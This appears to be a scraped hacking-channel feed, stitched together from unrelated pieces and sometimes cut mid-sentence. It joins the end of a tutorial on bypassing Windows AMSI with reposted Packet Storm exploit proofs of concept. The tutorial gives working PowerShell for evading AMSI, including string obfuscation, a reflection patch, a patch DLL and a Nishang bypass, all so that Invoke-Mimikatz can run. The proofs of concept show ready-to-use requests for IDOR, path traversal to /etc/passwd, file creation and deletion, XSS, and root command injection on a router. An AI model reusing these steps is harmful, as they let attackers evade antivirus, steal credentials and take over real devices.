vlbbdmGyDX6wpFRxkdIo1x1k4I3EanlV0pKV_dpWy4y2gayRNFWstWPJ-0igVu4SegHfhFWQNMK2vusGJPQ/s16000/6.png?w=640&ssl=1

I want to check this against AMSI using AmsiTrigger. This can be done like:
.\demo.ps1
.\AmsiTrigger.ps1 -i .\demo.ps1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzy92xJG8OTKOTEmnUwjOXLb0Fvwm55j4OcKsjkS13bAuPWW0czTC2ilFG_ugA27gAOGCXCD25ffN-2tyVPzz_1TXr6hRmL5iLSWSPWa7NPQxALAi4jLYzWaUeU8e8SfVQRDynT_231n-cQ8F8m8g3BmeVYh-7A_sEsXlV9gRTqqbv8JMkJlaqYi4rwQ/s16000/7.png?w=640&ssl=1

Now, the tool has told me the lines where AMSI blocks execution. We can go ahead and obfuscate them using the string concatenation method like:
"am"+"si"+"ut"+"ils"
"in"+"vok"+"e"+"-"+"mi"+"mik"+"atz"
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJoWij3FKcMj7p0vHtXT-UGJhvCTlp0CRAH9_CGihlXnZhBqSrfFzupmXmS6XS9fUmhjuI6Nw5iJ98N_WFj8jYGJvy-o3x5ko7uBrof6ShTMv8qO1xuqN0Fa3ePu-FiZkVIeYlxGh4GZVUMu3B3tdLuhpT9sxqAKJ4kOX3cq27sAyl_px4q5QMJkkQqw/s16000/8.png?w=640&ssl=1

Now, they can be run and successfully bypass AMSI!

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3qHXGv0IllNxmRYWlNQPxHgxcmalYWj25cxoJJF0Gx_4psR3B9mhpwfAFmyQrGHmrq6sj7W6GDgmjECV8VsLIwmGAItaZaFN4Y-0SalxaspYQChn-vx00AsnPovKJBbFdxbZpR8ZpPDk1tg5g3_I15x2POKjSMdwD2BheJzll7H6GI66OiP1RqF1W0w/s16000/9.png?w=640&ssl=1

You can also try https://amsi.fail to obfuscate your code. Method 3: Forcing an errorMatt Graeber talked about a method to bypass AMSI in his tweet here. A function called amsiInitFailed() exists which throws 0 if AMSI scan is initiated in the scenarios shown above. This bypass is basically assigning amsiInitFailed a boolean True value so that AMSI initialization fails – no scan will be done at all for the current process! The code is:
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)

[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuG5mV6PnYS2ykdsqIhaXzUCZk_PpKJXRibOsFjj2yqoWOfkodX5ZxuECcnj6R9wWTKwYAYEy-NF9lLylEH904M2xtwSKz6SniAuABymRa5k5w8Ge4PdnaLgGK40n0A84HRbuUujYaW9FoDlg9yRYbGk6IQ6qQIt2YYnjfcRYJvi-K0KJcVSvxZV_SQQ/s16000/10.png?w=640&ssl=1

Ever since that time, many people have posted different variants of the same method. In some methods bytecode is used, in others, functions are replaced or strings are replaced but the logic prevails the same. Method 4: Memory HijackingDaniel Duggan posted about memory hijacking techniques that can bypass AMSI in his blog here. The logic is to hook (read about hooking here) the function AmsiScanBuffer() so that it always returns the handle AMSI_RESULT_CLEAN indicating that AMSI has found no malware. The API responses could be monitored using the API monitor tool by Rohitab.

First, let’s download the Invoke-Mimikatz script and see that AMSI is working properly.

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEObcgN-Qq6t0Yt_e1ayWdvY1VY4RBgnPz6XKUjmnOig64Z9UUFGOMlJ1y752HqsflA8IUoUJQO2ZevuqyR9JMh128e5YZWQq-dRUqu-RvrSOVSKuClkH_LS1HPHgWTNF4YyVZ29rVyYDz2FIroL4sAkDb1LMb_ftWPEnfGIZ5k8XHQ-aNG27tHvPU9A/s16000/11.png?w=640&ssl=1

Now, the actual code is provided here. However, to reduce your hassle of compiling the code as DLL, you can check my fork here. After it is downloaded, make sure you change the main package’s name from “AmsiScanBufferBypass” to “Project” or whatever you like as AMSI blocks the string “AmsiScanBufferBypass” too!

After downloading, you go to the release folder and see the presence of a DLL called ASBBypass.dll

Please note that since we now have a DLL, it can be integrated with our EXE payload as well and will bypass AMSI on the go!

However, here, we will be using in-line C# code to activate the patch using the powershell terminal o[...]

___________________________
@hacking_Attack
@Hacking_Video

nly! This can be done like:
[System.Reflection.Assembly]::LoadFile("C:\users\hex\Project\ASBBypass.dll")
[Amsi]::Bypass()
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjW1YWdvdLrZNnRJ-KCoXHwyjn4vZidhB2ND-8UzlusO-e0zMpNK-TAORCQPkuMD3uOJr1bUWd0EL0gcixpOfCSTvMFv-PYKdz5BFV2zUGogR5egm0-eaqebx3_PfRu9kYASH6_-EnitowOpuYWsrZqe8yzdXb3nmPHgl0yyBlHFclVUz6yEybji1bbZw/s16000/12.png?w=640&ssl=1

As you can see, amsi has now been bypassed! Method 5: Memory Hijacking (obfuscated opcodes)After the Rasta Mouse (Daniel Duggan) technique started getting detected, people made various changes in the code to make it FUD again. Fatrodzianko posted about one such technique in his blog here. He obfuscated the same code using opcodes and put the script on gist here.

To run the script, just download it, rename it (to avoid keyword detection by AMSI) and run like:
"invoke-mimikatz"
.\my-am-bypass.ps1
"invoke-mimikatz"
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhA7Ng0eACK4CQuICxOt6dQxU2oFob2xmq3G54U3taLkx6Nn-SriNOWElCJGUDTxs14dpFdcH9uW9aQ0dLrbdePe-dbLA1aS6-JQNwc5Px7k49T0S49jlfeeUX9KjO3EHCNLUXxTJE-RLmtIZW_ZFLAsC9iUmYPLy3xNpOy678ZtviABPhiFPfqa1zHQA/s16000/13.png?w=640&ssl=1

As you can see, we have successfully bypassed AMSI now. Method 6: AMSI bypass by reflectionAccording to Microsoft, “Reflection provides objects (of type Type) that describe assemblies, modules, and types. You can use reflection to dynamically create an instance of a type, bind the type to an existing object, or get the type from an existing object and invoke its methods or access its fields and properties. If you are using attributes in your code, reflection enables you to access them.” Read more here.

Paul Laine posted the original memory hijacking method on contextis.com blog here. Shantanu Khandelwal converted the same code to become full in-memory patch by using Matt Graeber’s reflection technique mentioned here. Shantanu made the code stealthier as no on-disk artefact was left now. See his site here.

We won’t demonstrate the original patch but the reflection update is downloaded from here. Make sure you download and rename the script and avoid keywords like “amsibypass” etc since they get blocked. I have renamed it to “am-bp-reflection.ps1”
"invoke-mimikatz"
.\am-bp-reflection.ps1
"invoke-mimikatz"
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtG_5bL--OFzp12MsQQzUsklWOHuM0eg9RcpB51VdK4U9HUk19ghtW1HZit-lOxJecdCSwoVPaCSe0lkLT1i0lB2Oe1u3VMsBREBM4Bszfoe7GWidrqIDZVDZ7rbvPchiyF2APjfih6rLvYPtr7U1Bsn4YCp-eUzozzyp077ZMLClU0mqkHhOf2Tl0Gw/s16000/14.png?w=640&ssl=1 Method 7: Nishang All in One scriptNikhil Mittal added an AMSI bypass script in his well-known tool “Nishang,” which can be found here. The script combines 6 different methods to bypass AMSI under one run. These are:

* unload – Method by Matt Graeber. Unloads AMSI from current PowerShell session.
* unload2 – Another method by Matt Graeber. Unloads AMSI from current PowerShell session.
* unloadsilent – Another method by Matt Graeber. Unloads AMSI and avoids WMF5 autologging.
* unloadobfuscated – ‘unload’ method above obfuscated with Daneil Bohannon’s Invoke-Obfuscation – which avoids WMF5 autologging.
* dllhijack – Method by Cornelis de Plaa. The amsi.dll used in the code is from p0wnedshell (https://github.com/Cn33liz/p0wnedShell)
* psv2 – If .net 2.0.50727 is available on Windows 10. PowerShell v2 is launched which doesn’t support AMSI.

We just have to download the script and run and the tool automatically will bypass AMSI using a valid method. For example, here WMF5 autologging bypass has worked. This method unloads AMSI from the current terminal and bypasses it.

Download the script from here and rename it to “nishang.ps1” and run it like so:
Import-Module .\nishang.ps1
Invoke-AmsiBypass -Verbose
“invoke-mimikatz”
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgANKgHRkKzjJVUyf8oF7ICaDcN3cDPS86kn9TnMOR5A7ZALQL6e1CIdaMbTsZ[...]

___________________________
@hacking_Attack
@Hacking_Video

cNxMX0oCEWn62eHLUHvHGv-tSMfSL1RFNNLKCsuvetLiFSg_aYpbAomJnHLfkLMRTZaR7u6cmLa6dTbHWVLTOGHLFQjuoj47fwQnsfa9sgIqpkWVaKrHrPiAFJOZqrA/s16000/15.png?w=640&ssl=1 ConclusionIn this article, we talked about the basics of AMSI, how to use them in a program, workflow and 7 ways to bypass them. It is to be noted that there are more ways than shown here but the aim of the article was to talk about most widely known 7 methods to bypass AMSI and how this AMSI evasion game has developed over time and how complexity has only increased. Hope you liked the article. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

The post A Detailed Guide on AMSI Bypass appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
SAM SUNNY TRIPOWER 5.0 Insecure Direct Object Reference

https://4.bp.blogspot.com/-xWCWgAV3Ny0/WWlvBhL9TTI/AAAAAAAAIKY/j6Iuv-WtlEAbM80hi5qIKa1OI4pChiwSgCLcBGAs/s1600/h124.png
SAM SUNNY TRIPOWER version 5.0 suffers from an insecure direct object reference vulnerability.

MD5 | cf530ea25acc249bd4a94f9463c797d0

Download
# Exploit Title: SAM SUNNY TRIPOWER 5.0 - Insecure Direct Object Reference (IDOR)
# Date: 7/4/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: https://www.sma.de
# Version: SUNNY TRIPOWER 5.0 Firmware version 3.10.16.R
# Tested on: Linux [Firefox]
# CVE : CVE-2021-46416

# Proof of Concept

============[ Normal user request ]============

GET / HTTP/1.1
Host: 192.168.1.4
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: tmhDynamicLocale.locale=%22en-us%22; user443=%7B%22role%22%3A%7B%22bitMask%22%3A2%2C%22title%22%3A%22usr%22%2C%22loginLevel%22%3A2%7D%2C%22username%22%3A861%2C%22sid%22%3A%22CDQMoPK0y6Q0-NaD%22%7D
Upgrade-Insecure-Requests: 1

============[ Manipulated username request ]============

GET / HTTP/1.1
Host: 192.168.1.4
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: tmhDynamicLocale.locale=%22en-us%22; user443=%7B%22role%22%3A%7B%22bitMask%22%3A2%2C%22title%22%3A%22usr%22%2C%22loginLevel%22%3A2%7D%2C%22username%22%3A850%2C%22sid%22%3A%22CDQMoPK0y6Q0-NaD%22%7D
Upgrade-Insecure-Requests: 1


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
MiniTool Partition Wizard 12.0 Unquoted Service Path

https://2.bp.blogspot.com/-466o0SY5wbQ/WWlvXOxbxYI/AAAAAAAAIOQ/eHwtwujRsQI9h-mxYQXglBmw7d5gufaKwCLcBGAs/s1600/h51.png
MiniTool Partition Wizard version 12.0 suffers from an unquoted service path vulnerability.

MD5 | 22f69c77e7609945030fec4efb7eba28

Download
# Exploit Title: MiniTool Partition Wizard - Unquoted Service Path
# Date: 08/04/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.minitool.com/
# Software Link: https://www.minitool.com/download-center/
# Version: 12.0
# Tested: Windows 10
# PoC :

C:\Users\saudh>sc qc MTSchedulerService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: MTSchedulerService
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\MiniTool ShadowMaker\SchedulerService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : MTSchedulerService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\Users\saudh>icacls "C:\Program Files\MiniTool ShadowMaker\SchedulerService.exe"
C:\Program Files\MiniTool ShadowMaker\SchedulerService.exe NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
# Exploit:

This vulnerability could permit executing code during startup or reboot with the escalated privileges.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Telesquare TLR-2855KS6 Arbitrary File Creation

https://3.bp.blogspot.com/-5Gol6ncjvHU/WWlu6JXhP1I/AAAAAAAAIJU/-rw4_xI3A9E9PcOGmPlkULl4C62j1nBBwCLcBGAs/s1600/h108.png
Telesquare TLR-2855KS6 suffers from an arbitrary file creation vulnerability.

MD5 | ba82661c541feb7ec102d8bb648b606c

Download
# Exploit Title: Telesquare TLR-2855KS6 - Arbitrary File Creation
# Date: 7/4/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: http://www.telesquare.co.kr/
# Version: TLR-2855KS6
# Tested on: Linux [Firefox]
# CVE : CVE-2021-46418

# Proof of Concept

PUT /cgi-bin/testing_cve.txt HTTP/1.1
Host: 192.168.1.5
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: nonce=1642692359833588
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 32


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Franklin Fueling Systems Colibri Controller Module 1.8.19.8580 Local File Inclusion

https://3.bp.blogspot.com/-S3Qyj_CQLZk/WWlvO05KSCI/AAAAAAAAIM0/1UOPsv562Y4pHjCru7b9m-kScCR1bHauwCLcBGAs/s1600/h27.png
Franklin Fueling Systems Colibri Controller Module version 1.8.19.8580 suffers from a local file inclusion vulnerability.

MD5 | b7439b8411a5e5db2349008648bfd0ff

Download
# Exploit Title: Franklin Fueling Systems Colibri Controller Module 1.8.19.8580 - Local File Inclusion (LFI)
# Date: 7/4/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: https://www.franklinfueling.com/
# Version: 1.8.19.8580
# Tested on: Linux [Firefox]
# CVE : CVE-2021-46417

# Proof of Concept

============[ HTTP Exploitation ]============

GET /18198580/cgi-bin/tsaupload.cgi?file_name=../../../../../..//etc/passwd&password= HTTP/1.1
Host: 192.168.1.6
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: Prefs=LID%3Des%3BPDS%3DMM/dd/yyyy%3BPDL%3DEEEE%2C%20MMMM%20dd%2C%20yyyy%3BPDY%3DMMMM%2C%20yyyy%3BPTS%3DHH%3Amm%3BPTL%3DHH%3Amm%3Ass%3BDSP%3D.%3BGSP%3D%2C%3BGRP%3D3%3BLDZ%3Dtrue%3BUVL%3DuvGallons%3BULN%3DulMillimeters%3BUTM%3DutCentigrade%3BUPR%3DupPSI%3BUP2%3Dup2inWater%3BUP3%3Dup3inHg%3BUFL%3Dufgpm%3BUDY%3Dudkgpcm%3BUMS%3Dumkgrams%3BRPR%3D30%3BXML%3Dfalse%3B
Upgrade-Insecure-Requests: 1

============[ URL Exploitation ]============

http://192.168.1.6/18198580/cgi-bin/tsaupload.cgi?file_name=../../../../../..//etc/passwd&password=


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Telesquare TLR-2855KS6 Arbitrary File Deletion

https://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png
Telesquare TLR-2855KS6 suffers from an arbitrary file deletion vulnerability.

MD5 | a65dfe9a381b50d2e2af1bcd0a0fc6de

Download
# Exploit Title: Telesquare TLR-2855KS6 - Arbitrary File Deletion
# Date: 7/4/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: http://www.telesquare.co.kr/
# Version: TLR-2855KS6
# Tested on: Linux [Firefox]
# CVE : CVE-2021-46419

# Proof of Concept

DELETE /cgi-bin/test.cgi HTTP/1.1
Host: 192.168.1.5
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 438
Origin: http://192.168.1.5
DNT: 1
Connection: close
Referer: http://192.168.1.5/
Cookie: nonce=16426923592222


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Anti-Malware Security And Brute-Force Firewall Cross Site Scripting

https://4.bp.blogspot.com/-mkcU-A73eZ4/WWlu7eKaHEI/AAAAAAAAIJY/m_4841aOwNcKGKR9ykgWprFWjwy04TKNACLcBGAs/s1600/h11.png
WordPress Anti-Malware Security and Brute-Force Firewall plugin versions prior to 4.20.96 suffer from a cross site scripting vulnerability.

MD5 | 2f8b972a36566b684356e0ea7f6fb4c0

Download
Tittle:
WordPress Plugin Anti-Malware Security and Brute-Force Firewall < 4.20.96 - Reflected Cross-Site Scripting

References:
CVE-2022-0953

Author:
Taurus Omar

Description:
The plugin does not sanitise and escape the QUERY_STRING before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting in browsers which do not encode characters.

Affects Plugins:
Gotmls - Fixed in version 4.20.96

Proof of Concept:
GET /wp-admin/admin.php?page=GOTMLS_View_Quarantine&a=">
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Razer Sila 2.0.418 Command Injection

https://2.bp.blogspot.com/-NrOPg3Mty0U/WWlvlwk6sbI/AAAAAAAAIRI/oNtlpfQhQf0CXQthUyFzuVS3vq_pC_VnACLcBGAs/s1600/hack_img2.png
Razer Sila versions 2.0.441_api through 2.0.418 suffer from a command injection vulnerability.

MD5 | 5eeeac18e38c618f85b2b4448e71a589

Download
# Exploit Title: Razer Sila - Command Injection
# Google Dork: N/A
# Date: 4/9/2022
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila
# Software Link: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila
# Version: RazerSila-2.0.441_api-2.0.418
# Tested on: Razer Sila Router
# CVE N/A

# Proof of Concept

# Request
POST /ubus/ HTTP/1.1
Host: 192.168.8.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 117
Origin: https://192.168.8.1
Referer: https://192.168.8.1/
Te: trailers
Connection: close

{"jsonrpc":"2.0","id":3,"method":"call","params":["30ebdc7dd1f519beb4b2175e9dd8463e","file","exec",{"command":"id"}]}

# Response
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Content-Length: 85

{"jsonrpc":"2.0","id":3,"result":[0,{"code":0,"stdout":"uid=0(root) gid=0(root)\n"}]}

# Request
POST /ubus/ HTTP/1.1
Host: 192.168.8.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 117
Origin: https://192.168.8.1
Referer: https://192.168.8.1/
Te: trailers
Connection: close

{"jsonrpc":"2.0","id":3,"method":"call","params":["30ebdc7dd1f519beb4b2175e9dd8463e","file","exec",{"command":"ls"}]}

# Response
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Content-Length: 172

{"jsonrpc":"2.0","id":3,"result":[0,{"code":0,"stdout":"bin\ndev\netc\nhome\ninit\nlib\nmnt\nno_gui\noverlay\nproc\nrom\nroot\nsbin\nservices\nsys\ntmp\nusr\nvar\nwww\n"}]}


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Razer Sila 2.0.418 Local File Inclusion

https://4.bp.blogspot.com/-rlkVZrkp7Nk/WWlvMMd1AsI/AAAAAAAAIMM/kgTZoxpDP8Ypbt5o2Ma3tAKenLk3_TLPQCLcBGAs/s1600/h18.png
Razer Sila versions 2.0.441_api through 2.0.418 suffer from a local file inclusion vulnerability.

MD5 | bc5ebe5c622fa9db83d06c40671387f0

Download
# Exploit Title: Razer Sila - Local File Inclusion (LFI)
# Google Dork: N/A
# Date: 4/9/2022
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila
# Software Link: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila
# Version: RazerSila-2.0.441_api-2.0.418
# Tested on: Razer Sila Router
# CVE N/A

# Proof of Concept

# Request
POST /ubus/ HTTP/1.1
Host: 192.168.8.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 123
Origin: https://192.168.8.1
Referer: https://192.168.8.1/
Te: trailers
Connection: close

{"jsonrpc":"2.0","id":3,"method":"call","params":["4183f72884a98d7952d953dd9439a1d1","file","read",{"path":"/etc/passwd"}]}

# Reponse
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Content-Length: 537

{"jsonrpc":"2.0","id":3,"result":[0,{"data":"root:x:0:0:root:\/root:\/bin\/ash\ndaemon:*:1:1:daemon:\/var:\/bin\/false\nftp:*:55:55:ftp:\/home\/ftp:\/bin\/false\nnetwork:*:101:101:network:\/var:\/bin\/false\nnobody:*:65534:65534:nobody:\/var:\/bin\/false\ndnsmasq:x:453:453:dnsmasq:\/var\/run\/dnsmasq:\/bin\/false\nmosquitto:x:200:200:mosquitto:\/var\/run\/mosquitto:\/bin\/false\nlldp:x:121:129:lldp:\/var\/run\/lldp:\/bin\/false\nadmin:x:1000:1000:root:\/home\/admin:\/bin\/false\nportal:x:1001:1001::\/home\/portal:\/bin\/false\n"}]}


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress LayerSlider Cross Site Scripting

https://2.bp.blogspot.com/-NrOPg3Mty0U/WWlvlwk6sbI/AAAAAAAAIRI/oNtlpfQhQf0CXQthUyFzuVS3vq_pC_VnACLcBGAs/s1600/hack_img2.png
None
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video